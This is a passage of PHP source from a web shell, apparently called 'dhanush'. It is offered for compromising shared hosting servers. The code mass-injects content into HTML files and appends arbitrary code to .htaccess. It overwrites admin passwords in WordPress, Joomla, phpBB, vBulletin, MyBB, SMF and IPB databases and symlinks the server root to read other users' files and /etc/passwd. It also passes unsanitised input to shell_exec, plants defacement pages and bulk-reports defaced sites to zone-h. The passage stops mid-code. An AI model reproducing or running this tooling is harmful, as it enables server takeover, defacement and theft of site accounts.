  1982.                   foreach (glob($_GET['dir'] . $directorysperator . "*.htm") as $injectj00)
  1983.                   {
  1984.                         if($myfile=fopen($injectj00,'a'))
  1985.                         {  
  1986.                             fputs($myfile, $str);
  1987.                         fclose($myfile);
  1988.                         }
  1989.                         else
  1990.                         $coun = 1;
  1991.                      }
  1992.                   foreach (glob($_GET['dir'] . $directorysperator . "*.html") as $injectj00)
  1993.                   {
  1994.                         if($myfile=fopen($injectj00,'a'))
  1995.                         {
  1996.                         fputs($myfile, $str);
  1997.                         fclose($myfile);
  1998.                             }
  1999.                         else
  2000.                         $coun = 1;
  2001.                       }
  2002.                  
  2003.                 if($coun == 0)
  2004.                     echo "<center>Done !!!!<center>";
  2005.                 else
  2006.                     echo "<center>Cannot open files !!!!<center>";
  2007.             }
  2008.         }
  2009.         else if(isset($_GET['codeinsert']))
  2010.         {
  2011.             if(!isset($_POST['code']))
  2012.             {
  2013.                 if($file1 = fopen(".htaccess",'r'))
  2014.                 { ?>
  2015.                 <form method=post>
  2016.                 <textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
  2017.                 <input type="submit" value="  Insert  " class=but>
  2018.                 </form>
  2019.             <?php   }
  2020.                 else
  2021.                     echo "<center>Cannot Open File!!</center>";
  2022.             }else
  2023.             {
  2024.                 if($myfile = fopen(".htaccess",'a'))
  2025.                 {
  2026.                     fwrite($myfile, $_POST['code']);
  2027.                     fwrite($myfile, "\n\r");
  2028.                     fclose($myfile);
  2029.                     header("Location:$self?malattack");
  2030.                     ob_end_flush();
  2031.                 }
  2032.                 else
  2033.                     echo "Permission Denied";
  2034.             }
  2035.         }
  2036.     }
  2037.  
  2038.     // Password Change Forums
  2039.     else if(isset($_POST['forumpass']))
  2040.     {
  2041.         $localhost =  $_POST['f1'];
  2042.         $database =  $_POST['f2'];
  2043.         $username =  $_POST['f3'];
  2044.         $password =  $_POST['f4'];
  2045.         $prefix    =  $_POST['prefix'];
  2046.         $uid = $_POST['uid'];
  2047.         $newpass = $_POST['newpass'];
  2048.         if($_POST['forums'] == "vb")
  2049.         {  
  2050.             $con = mysql_connect($localhost,$username,$password);
  2051.             $db = mysql_select_db($database,$con);
  2052.             $salt = "eghjghrtd";
  2053.             $newpassword = md5(md5($newpass) . $salt);
  2054.             if($prefix == "" || $prefix == null)
  2055.                 $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
  2056.             else
  2057.                 $sql = mysql_query("update ".$prefix."user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
  2058.             if($sql)
  2059.             {
  2060.                 mysql_close($con);
  2061.                 header("Location:$self?forum&passwordchange&changed");
  2062.                 ob_end_flush();
  2063.             }
  2064.             else
  2065.                 header("Location:$self?forum&passwordchange&cannotchange");
  2066.         }
  2067.         if($_POST['forums'] == "mybb")
  2068.         {  
  2069.             $con = mysql_connect($localhost,$username,$password);
  2070.             $db = mysql_select_db($database,$con);
  2071.             $salt = "jeghj";
  2072.             $newpassword = md5(md5($salt).$newpass);
  2073.             if($prefix == "" || $prefix == null)
  2074.                 $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
  2075.             else
  2076.                 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
  2077.             if($sql)
  2078.             {
  2079.                 mysql_close($con);
  2080.                 header("Location:$self?forum&passwordchange&changed");
  2081.                 ob_end_flush();
  2082.             }
  2083.             else
  2084.                 header("Location:$self?forum&passwordchange&cannotchange");
  2085.         }
  2086.         if($_POST['forums'] == "smf")
  2087.         {  
  2088.             $con = mysql_connect($localhost,$username,$password);
  2089.             $db = mysql_select_db($database,$con);
  2090.             $salt = "eghj";
  2091.                
  2092.             if($prefix == "" || $prefix == null)
  2093.             {
  2094.                 $result = mysql_query("select member_name from smf_members where id_member = 1");
  2095.                 $row = mysql_fetch_array($result);
  2096.                 $membername = $row['member_name'];
  2097.                 $newpassword = sha1(strtolower($membername).$newpass);
  2098.                 $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
  2099.             }
  2100.             else
  2101.             {
  2102.                 $result = mysql_query("select member_name from ".$prefix."members where id_member = 1");
  2103.                 $row = mysql_fetch_array($result);
  2104.                 $membername = $row['member_name'];
  2105.                 $newpassword = sha1(strtolower($membername).$newpass);
  2106.                 $sql = mysql_query("update ".$prefix."members set passwd = '$newpassword' where id_member = '$uid'");
  2107.             }
  2108.             if($sql)
  2109.             {
  2110.                 mysql_close($con);
  2111.                 header("Location:$self?forum&passwordchange&changed");
  2112.                 ob_end_flush();
  2113.             }
  2114.             else
  2115.                 header("Location:$self?forum&passwordchange&cannotchange");
  2116.         }
  2117.         if($_POST['forums'] == "phpbb")
  2118.         {  
  2119.             $con = mysql_connect($localhost,$username,$password);
  2120.             $db = mysql_select_db($database,$con);
  2121.            
  2122.             $newpassword = md5($newpass);echo $newpassword;
  2123.             if(empty($prefix) || $prefix == null)
  2124.                 $sql = mysql_query("update phpbb_users set user_password = '$newpassword' where user_id = '$uid'");
  2125.             else
  2126.                 $sql = mysql_query("update ".$prefix."users set user_password = '$newpassword' where user_id = '$uid'");
  2127.             if($sql)
  2128.             {
  2129.                 mysql_close($con);
  2130.                 header("Location:$self?forum&passwordchange&changed");
  2131.                 ob_end_flush();
  2132.             }
  2133.             else
  2134.                 header("Location:$self?forum&passwordchange&cannotchange");
  2135.         }
  2136.         if($_POST['forums'] == "ipb")
  2137.         {
  2138.             $con = mysql_connect($localhost,$username,$password);
  2139.             $db = mysql_select_db($database,$con);
  2140.             $salt = "eghj";
  2141.             $newpassword = md5(md5($salt).md5($newpass));
  2142.             if($prefix == "" || $prefix == null)
  2143.                 $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
  2144.             else
  2145.                 $sql = mysql_query("update ".$prefix."members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
  2146.             if($sql)
  2147.             {
  2148.                 mysql_close($con);
  2149.                 header("Location:$self?forum&passwordchange&changed");
  2150.                 ob_end_flush();
  2151.             }
  2152.             else
  2153.                 header("Location:$self?forum&passwordchange&cannotchange");
  2154.         }
  2155.         if($_POST['forums'] == "wp")
  2156.         {  
  2157.             $uname = $_POST['uname'];
  2158.             $con = mysql_connect($localhost,$username,$password);
  2159.             $db = mysql_select_db($database,$con);
  2160.  
  2161.             $newpassword = md5($newpass);
  2162.             if($prefix == "" || $prefix == null)
  2163.                 $sql = mysql_query("update wp_users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
  2164.             else
  2165.                 $sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
  2166.             if($sql)
  2167.             {
  2168.                 mysql_close($con);
  2169.                 header("Location:$self?forum&passwordchange&changed#wordp");
  2170.                 ob_end_flush();
  2171.             }
  2172.             else
  2173.                 header("Location:$self?forum&passwordchange&cannotchange#wordp");
  2174.         }
  2175.         if($_POST['forums'] == "joomla")
  2176.         {  
  2177.             $uname = $_POST['uname'];
  2178.             $con = mysql_connect($localhost,$username,$password);
  2179.             $db = mysql_select_db($database,$con);
  2180.  
  2181.             $newpassword = md5($newpass);
  2182.             if($prefix == "" || $prefix == null)
  2183.                 $sql = mysql_query("update jos_users set password = '$newpassword', username = '$uname' where name = 'Super User'");
  2184.             else
  2185.                 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', username = '$uname' where name = 'Super User' OR name = 'Administrator'");
  2186.             if($sql)
  2187.             {
  2188.                 mysql_close($con);
  2189.                 header("Location:$self?forum&passwordchange&changed#jooml");
  2190.                 ob_end_flush();
  2191.             }
  2192.             else
  2193.                 header("Location:$self?forum&passwordchange&cannotchange#jooml");
  2194.         }
  2195.     }
  2196.    
  2197.     else if(isset($_GET['whois']))
  2198.     {
  2199.         echo "<br>".nl2br(shell_exec("whois ".$_GET['whois']))."";
  2200.     }
  2201.  
  2202.     // Get Domains
  2203.     else if(isset($_REQUEST["symlinkserver"]))
  2204.     {
  2205.         ?>
  2206.         <center><table><tr><td><a href="<?php echo $self; ?>?domains&symlinkserver">| Get Domains |</a></td>
  2207.         <td><a href="<?php echo $self; ?>?symlink&symlinkserver">| Symlink Server |</a></td>
  2208.         <td><a href="<?php echo $self; ?>?symlinkfile&symlinkserver">| Symlink File |</a></td>
  2209.         <td><a href="<?php echo $self; ?>?script&symlinkserver">| Script Locator |</a></td>
  2210.         </tr></table></center><br>
  2211.         <?php
  2212.         if(isset($_GET["domains"]))
  2213.         {
  2214.         ?>  <center><iframe src="<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>" width="80%" height="1000px"></iframe></center>
  2215.         <?php }
  2216.         else if(isset($_GET["symlink"]))
  2217.         {
  2218.             $d0mains = @file("/etc/named.conf");
  2219.            
  2220.             if($d0mains)
  2221.             {
  2222.                 @mkdir("dhanush",0777);
  2223.                 @chdir("dhanush");
  2224.                 execmd("ln -s / root");
  2225.                 $file3 = 'Options all
  2226.      DirectoryIndex Sux.html
  2227.      AddType text/plain .php
  2228.      AddHandler server-parsed .php
  2229.       AddType text/plain .html
  2230.      AddHandler txt .html
  2231.      Require None
  2232.      Satisfy Any        
  2233.     ';
  2234.                 $fp3 = fopen('.htaccess','w');
  2235.                 $fw3 = fwrite($fp3,$file3);
  2236.                 @fclose($fp3);
  2237.                         echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=3>S. No.</font></td><td align=center><font size=3>Domains</font></td><td align=center><font size=3>Users</font></td><td align=center><font size=3>Symlink</font></td><td align=center><font size=3>Information</font></td></tr>";
  2238.                    
  2239.                 $dcount = 1;
  2240.                 foreach($d0mains as $d0main)
  2241.                 {
  2242.                     if(eregi("zone",$d0main))
  2243.                     {
  2244.                         preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2245.                         flush();
  2246.                            
  2247.                         if(strlen(trim($domains[1][0])) > 2)
  2248.                         {
  2249.                             $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2250.                                
  2251.                             echo "<tr align=center><td><font size=3>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td>".$user['name']."</td><td><a href='/dhanush/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td><td><a href=?whois=".$domains[1][0]." target=_blank>info</a></td></tr>"; flush();
  2252.                             $dcount++;
  2253.                         }
  2254.                     }
  2255.                 }
  2256.                 echo "</table>";
  2257.             }
  2258.             else
  2259.             {
  2260.                     $TEST=@file('/etc/passwd');
  2261.                     if ($TEST)
  2262.                     {
  2263.                         @mkdir("dhanush",0777);
  2264.                         @chdir("dhanush");
  2265.                         execmd("ln -s / root");
  2266.                         $file3 = 'Options all
  2267.              DirectoryIndex Sux.html
  2268.              AddType text/plain .php
  2269.              AddHandler server-parsed .php
  2270.               AddType text/plain .html
  2271.              AddHandler txt .html
  2272.              Require None
  2273.              Satisfy Any        
  2274.             ';
  2275.                         $fp3 = fopen('.htaccess','w');
  2276.                         $fw3 = fwrite($fp3,$file3);
  2277.                         @fclose($fp3);
  2278.                        
  2279.                         echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
  2280.                        
  2281.                         $dcount = 1;
  2282.                         $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  2283.                         //Output a line of the file until the end is reached
  2284.                         while(!feof($file))
  2285.                         {
  2286.                             $s = fgets($file);
  2287.                             $matches = array();
  2288.                             $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2289.                             $matches = str_replace("home/","",$matches[1]);
  2290.                             if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2291.                                 continue;
  2292.                             echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
  2293.                             echo "<td align=center><font class=txt><a href=/dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2294.                             $dcount++;
  2295.                         }
  2296.                         fclose($file);
  2297.                        
  2298.                         echo "</table>";
  2299.                     }
  2300.                     else
  2301.                     {
  2302.                         if($os != "Windows")
  2303.                         {
  2304.                             @mkdir("dhanush",0777);
  2305.                             @chdir("dhanush");
  2306.                             execmd("ln -s / root");
  2307.                             $file3 = 'Options all
  2308.                  DirectoryIndex Sux.html
  2309.                  AddType text/plain .php
  2310.                  AddHandler server-parsed .php
  2311.                   AddType text/plain .html
  2312.                  AddHandler txt .html
  2313.                  Require None
  2314.                  Satisfy Any        
  2315.                 ';
  2316.                             $fp3 = fopen('.htaccess','w');
  2317.                             $fw3 = fwrite($fp3,$file3);
  2318.                             @fclose($fp3);
  2319.                            
  2320.                             echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
  2321.                            
  2322.                             $temp = "";
  2323.                             $val1 = 0;
  2324.                             $val2 = 1000;
  2325.                             for(;$val1 <= $val2;$val1++)
  2326.                             {
  2327.                                 $uid = @posix_getpwuid($val1);
  2328.                                 if ($uid)
  2329.                                      $temp .= join(':',$uid)."\n";
  2330.                              }
  2331.                              echo '<br/>';
  2332.                              $temp = trim($temp);
  2333.                              
  2334.                              $file5 = fopen("test.txt","w");
  2335.                              fputs($file5,$temp);
  2336.                              fclose($file5);
  2337.                              
  2338.                             $dcount = 1;
  2339.                              $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2340.                              while(!feof($file))
  2341.                              {
  2342.                                 $s = fgets($file);
  2343.                                 $matches = array();
  2344.                                 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2345.                                 $matches = str_replace("home/","",$matches[1]);
  2346.                                 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2347.                                     continue;
  2348.                                 echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
  2349.                                 echo "<td align=center><font class=txt><a href=/dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2350.                                 $dcount++;
  2351.                              }
  2352.                             fclose($file);
  2353.                             echo "</table>";
  2354.                             unlink("test.txt");
  2355.                         }
  2356.                         else
  2357.                             echo "<center><font size=4>Cannot create Symlink</font></center>";
  2358.                     }
  2359.                 }
  2360.             }
  2361.             else if(isset($_GET["symlinkfile"]))
  2362.             {
  2363.                 if(!isset($_GET['file']))
  2364.                 {
  2365.                     ?>
  2366.                     <center>
  2367.                     <form action="<?php echo $self; ?>">
  2368.                     <input type="hidden" name="symlinkserver">
  2369.                     <input type="hidden" name="symlinkfile">
  2370.                     <input type="text" class="box" name="file" size="50" value="">
  2371.                     <input type="submit" value="Create Symlink" class="but">
  2372.                     </form></center>
  2373.                     <br><br>
  2374.                     <?php
  2375.                 }
  2376.                 else
  2377.                 {
  2378.                     $fakedir="cx";
  2379.                     $fakedep=16;
  2380.                    
  2381.                     $num=0; // offset of symlink.$num
  2382.                    
  2383.                     if(!empty($_GET['file'])) $file=$_GET['file'];
  2384.                     else if(!empty($_POST['file'])) $file=$_POST['file'];
  2385.                     else $file="";
  2386.                                        
  2387.                     if(empty($file))
  2388.                         exit;
  2389.                    
  2390.                     if(!is_writable("."))
  2391.                         die("not writable directory");
  2392.                    
  2393.                     $level=0;
  2394.                    
  2395.                     for($as=0;$as<$fakedep;$as++){
  2396.                         if(!file_exists($fakedir))
  2397.                             mkdir($fakedir);
  2398.                         chdir($fakedir);
  2399.                     }
  2400.                    
  2401.                     while(1<$as--) chdir("..");
  2402.                    
  2403.                     $hardstyle = explode("/", $file);
  2404.                    
  2405.                     for($a=0;$a<count($hardstyle);$a++){
  2406.                     if(!empty($hardstyle[$a])){
  2407.                         if(!file_exists($hardstyle[$a]))
  2408.                             mkdir($hardstyle[$a]);
  2409.                         chdir($hardstyle[$a]);
  2410.                         $as++;
  2411.                     }
  2412.                 }
  2413.             $as++;
  2414.             while($as--)
  2415.                     chdir("..");
  2416.                
  2417.                 @rmdir("fakesymlink");
  2418.                 @unlink("fakesymlink");
  2419.                
  2420.                 @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
  2421.                
  2422.                 // this loop will skip allready created symlinks.
  2423.                 while(1)
  2424.                     if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
  2425.                     else $num++;
  2426.                
  2427.                 @unlink("fakesymlink");
  2428.                 mkdir("fakesymlink");
  2429.                    
  2430.                 die('<FONT class=txt>check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');
  2431.                
  2432.             }
  2433.         }
  2434.         else if(isset($_REQUEST["script"]))
  2435.         {
  2436.             ?>
  2437.             <center><table><tr><td><a href="<?php echo $self; ?>?manually&script&symlinkserver"><font class="tblheads">| Do It Manually |</font></a></td>
  2438.         <td><a href="<?php echo $self; ?>?automatic&script&symlinkserver"><font class="tblheads">| Do It Automatically |</font></a></td>
  2439.         </tr></table></center>
  2440.             <?php
  2441.             if(isset($_REQUEST['manually']))
  2442.             {
  2443.                 if(!isset($_REQUEST['passwd']))
  2444.                 {
  2445.                 ?>
  2446.                 <center>
  2447.                 <form action="<?php echo $self; ?>" method="post">
  2448.                 <input type="hidden" name="manually">
  2449.                 <input type="hidden" name="script">
  2450.                 <input type="hidden" name="symlinkserver">
  2451.                 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
  2452.                 <input type="submit" value="Get Config" class="but">
  2453.                 </form>
  2454.                 </center>
  2455.                 <?php
  2456.                 }
  2457.                 else
  2458.                 {
  2459.                     $getetc = trim($_REQUEST['passwd']);
  2460.                    
  2461.                     mkdir("dhanushSPT");
  2462.                     chdir("dhanushSPT");
  2463.                    
  2464.                     $myfile = fopen("test.txt","w");
  2465.                     fputs($myfile,$getetc);
  2466.                     fclose($myfile);
  2467.                          
  2468.                     $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2469.                     while(!feof($file))
  2470.                     {
  2471.                         $s = fgets($file);
  2472.                         $matches = array();
  2473.                         $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2474.                         $matches = str_replace("home/","",$matches[1]);
  2475.                         if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2476.                                 continue;
  2477.                             syml($matches,$matches);
  2478.                     }
  2479.                     fclose($file);
  2480.                     unlink("test.txt");
  2481.                     echo "<center><font class=txt>[ Done ]</font></center>";
  2482.                     echo "<br><center><a href=dhanushSPT target=_blank><font class=txt>| Go Here |</font></a></center>";
  2483.                 }
  2484.             }
  2485.             else if(isset($_REQUEST['automatic']))
  2486.             {
  2487.                 $d0mains = @file("/etc/named.conf");
  2488.        
  2489.                 if($d0mains)
  2490.                 {
  2491.                     mkdir("dhanushST");
  2492.                     chdir("dhanushST");
  2493.                                        
  2494.                     foreach($d0mains as $d0main)
  2495.                     {
  2496.                         if(eregi("zone",$d0main))
  2497.                         {
  2498.                             preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2499.                             flush();
  2500.                                
  2501.                             if(strlen(trim($domains[1][0])) > 2)
  2502.                             {
  2503.                                 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2504.                                
  2505.                                 syml($user['name'],$domains[1][0]);                
  2506.                             }
  2507.                         }
  2508.                     }
  2509.                     echo "<center><font class=txt>[ Done ]</font></center>";
  2510.                     echo "<br><center><a href=dhanushST target=_blank><font class=txt>| Go Here |</font></a></center>";
  2511.                 }
  2512.                 else
  2513.                 {
  2514.                     mkdir("dhanushSPT");
  2515.                     chdir("dhanushSPT");
  2516.                     $temp = "";
  2517.                     $val1 = 0;
  2518.                     $val2 = 1000;
  2519.                     for(;$val1 <= $val2;$val1++)
  2520.                     {
  2521.                         $uid = @posix_getpwuid($val1);
  2522.                         if ($uid)
  2523.                             $temp .= join(':',$uid)."\n";
  2524.                      }
  2525.                      echo '<br/>';
  2526.                      $temp = trim($temp);
  2527.                      
  2528.                      $file5 = fopen("test.txt","w");
  2529.                      fputs($file5,$temp);
  2530.                      fclose($file5);
  2531.                      
  2532.                      $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2533.                      while(!feof($file))
  2534.                      {
  2535.                         $s = fgets($file);
  2536.                         $matches = array();
  2537.                         $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2538.                         $matches = str_replace("home/","",$matches[1]);
  2539.                         if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2540.                             continue;
  2541.                         syml($matches,$matches);
  2542.                      }
  2543.                     fclose($file);
  2544.                     echo "</table>";
  2545.                     unlink("test.txt");
  2546.                     echo "<center><font class=txt>[ Done ]</font></center>";
  2547.                     echo "<br><center><a href=dhanushSPT target=_blank><font class=txt>| Go Here |</font></a></center>";
  2548.                 }
  2549.             }
  2550.         }
  2551.     }  
  2552.    
  2553.         // Exploit Search
  2554.     else if(isset($_GET["exploit"]))
  2555.     {
  2556.         if(!isset($_GET["rootexploit"]))
  2557.         {
  2558.             ?>
  2559.             <center>
  2560.             <form action="<?php echo $self; ?>" method="get" target="_blank">
  2561.             <input type="hidden" name="exploit">
  2562.             <table border="1" cellpadding="5" cellspacing="4" style="width:50%;">
  2563.             <tr>
  2564.                 <td style="height:60px;">
  2565.             <font size="4">Select Website</font></td><td>
  2566.             <p><select id="rootexploit" name="rootexploit" class="box">
  2567.                 <option value="exploit-db">Exploit-db</option>
  2568.                 <option value="packetstormsecurity">Packetstormsecurity</option>
  2569.                 <option value="exploitsearch">Exploitsearch</option>
  2570.                 <option value="shodanhq">Shodanhq</option>
  2571.             </select></p></td></tr><tr><td colspan="2" align="center"  style="height:40px;">
  2572.             <input type="submit" value="Search" class="but"></td></tr></table>
  2573.             </form></center><br>
  2574.        
  2575.         <?php
  2576.         }
  2577.         else
  2578.         {
  2579.             //exploit search
  2580.             $Lversion = php_uname(r);
  2581.             $OSV = php_uname(s);
  2582.             if(eregi('Linux',$OSV))
  2583.             {
  2584.  
  2585.                 $Lversion=substr($Lversion,0,6);
  2586.                 if($_GET['rootexploit'] == "exploit-db")
  2587.                 {
  2588.                     header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
  2589.                 }
  2590.                 else if($_GET['rootexploit'] == "packetstormsecurity")
  2591.                 {
  2592.                     header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
  2593.                 }
  2594.                 else if($_GET['rootexploit'] == "exploitsearch")
  2595.                 {
  2596.                     header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
  2597.                 }
  2598.                 else if($_GET['rootexploit'] == "shodanhq")
  2599.                 {
  2600.                     header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
  2601.                 }
  2602.             }
  2603.             else
  2604.             {
  2605.                 $Lversion=substr($Lversion,0,3);
  2606.                 if($_GET['rootexploit'] == "exploit-db")
  2607.                 {
  2608.                     header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
  2609.                 }
  2610.                 else if($_GET['rootexploit'] == "packetstormsecurity")
  2611.                 {
  2612.                     header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
  2613.                 }
  2614.                 else if($_GET['rootexploit'] == "exploitsearch")
  2615.                 {
  2616.                     header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
  2617.                 }
  2618.                 else if($_GET['rootexploit'] == "shodanhq")
  2619.                 {
  2620.                     header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
  2621.                 }
  2622.             }
  2623.             //End of Exploit search
  2624.         }
  2625.     }
  2626.    
  2627.     else if(isset($_REQUEST['404']))
  2628.     {
  2629.         ?>
  2630.         <center><table><tr><td><a href="<?php echo $self; ?>?404&new"><font size="4">| Set Your 404 Page |</font></a></td>
  2631.             <td><a href="<?php echo $self; ?>?404&old"><font size="4">| Set Specified 404 Page |</font></a></td>
  2632.             </tr></table></center><br>
  2633.             <?php
  2634.             if(isset($_GET['old']))
  2635.             {
  2636.                 if(strlen($ind) != 0)
  2637.                 {
  2638.                     $myfile = fopen(".htaccess", "a");
  2639.                     fwrite($myfile, "ErrorDocument 404 /404.html \n\r");
  2640.            
  2641.                     $myfilee = fopen("404.html", "w+");
  2642.                     fwrite($myfilee, base64_decode($ind));
  2643.            
  2644.                     fclose($myfile);
  2645.                     header("Location:$self?set404");
  2646.                     ob_end_flush();
  2647.                 }
  2648.                 else
  2649.                     echo "<center>Nothing Specified in the shell</center>";
  2650.             }
  2651.             else if(isset($_REQUEST['new']))
  2652.             {
  2653.                 if(strlen($ind) != 0)
  2654.                 {
  2655.                     if($myfile = fopen(".htaccess", "a"))
  2656.                     {
  2657.                         fwrite($myfile, "ErrorDocument 404 /404.html \n\r");
  2658.            
  2659.                         if($myfilee = fopen("404.html", "w+"))
  2660.                         {
  2661.                             fwrite($myfilee, base64_decode($ind));
  2662.                        
  2663.                             fclose($myfilee);
  2664.                             header("Location:$self?set404");
  2665.                             ob_end_flush();
  2666.                         }
  2667.                         fclose($myfile);   
  2668.                     }
  2669.                     else
  2670.                     {
  2671.                         header("Location:$self?cannotset404");
  2672.                         ob_end_flush();
  2673.                     }
  2674.                 }
  2675.                 else
  2676.                 {
  2677.                     ?>
  2678.                     <form method=post>
  2679.                     <center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
  2680.                     <input type="submit" name=404page value="  Save  " class=but></center>
  2681.                     </br>
  2682.                     </form>
  2683.                     <?php
  2684.                 }
  2685.             }
  2686.     }
  2687.    
  2688.     else if(isset($_POST["SendNowToZoneH"]))
  2689.     {
  2690.         $hacker = $_POST['defacer'];
  2691.         $method = $_POST['hackmode'];
  2692.         $neden = $_POST['reason'];
  2693.         $site = $_POST['domain'];
  2694.        
  2695.         if (empty($hacker))
  2696.         {
  2697.             die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
  2698.         }
  2699.         elseif($method == "--------SELECT--------")
  2700.         {
  2701.             die("<center><font size=3>[-] You Must Select The Method !</center>");
  2702.         }
  2703.         elseif($neden == "--------SELECT--------")
  2704.         {
  2705.             die("<center><font size=3>[-] You Must Select The Reason</center>");
  2706.         }
  2707.         elseif(empty($site))
  2708.         {
  2709.             die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
  2710.         }
  2711.        
  2712.         $i = 0;
  2713.         $sites = explode("\n", $site);
  2714.         echo "<pre class=ml1 style='margin-top:5px'>";
  2715.         while($i < count($sites))
  2716.         {
  2717.         if(substr($sites[$i], 0, 4) != "http")
  2718.         {
  2719.                 $sites[$i] = "http://".$sites[$i];
  2720.         }
  2721.         ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  2722.         echo "<font class=txt>Site : ".$sites[$i]." Posted !</font><br>";
  2723.         ++$i;
  2724.         }
  2725.          
  2726.         echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
  2727.     }
  2728.    
  2729.     // Bypass
  2730.     else if (isset($_GET["bypass"]))
  2731.     {
  2732.         if(isset($_GET['copy']))
  2733.         {
  2734.             if(@copy($_GET['copy'],"test1.php"))
  2735.             {
  2736.                 $fh=fopen("test1.php",'r');
  2737.                 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea></br></br>";
  2738.                 @fclose($fh);
  2739.                 unlink("test1.php");
  2740.             }
  2741.         }
  2742.         else if(isset($_GET['imap']))
  2743.         {
  2744.             $string = $_GET['imap'];
  2745.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2746.             $stream = imap_open($string, "", "");
  2747.             $str = imap_body($stream, 1);
  2748.             echo "</textarea>";
  2749.         }
  2750.         else if(isset($_GET['sql']))
  2751.         {
  2752.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2753.             $file=$_GET['ssql'];
  2754.            
  2755.            
  2756.             $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  2757.             $mysql_files = explode(':', $mysql_files_str);
  2758.            
  2759.             $sql = array (
  2760.             "USE $mdb",
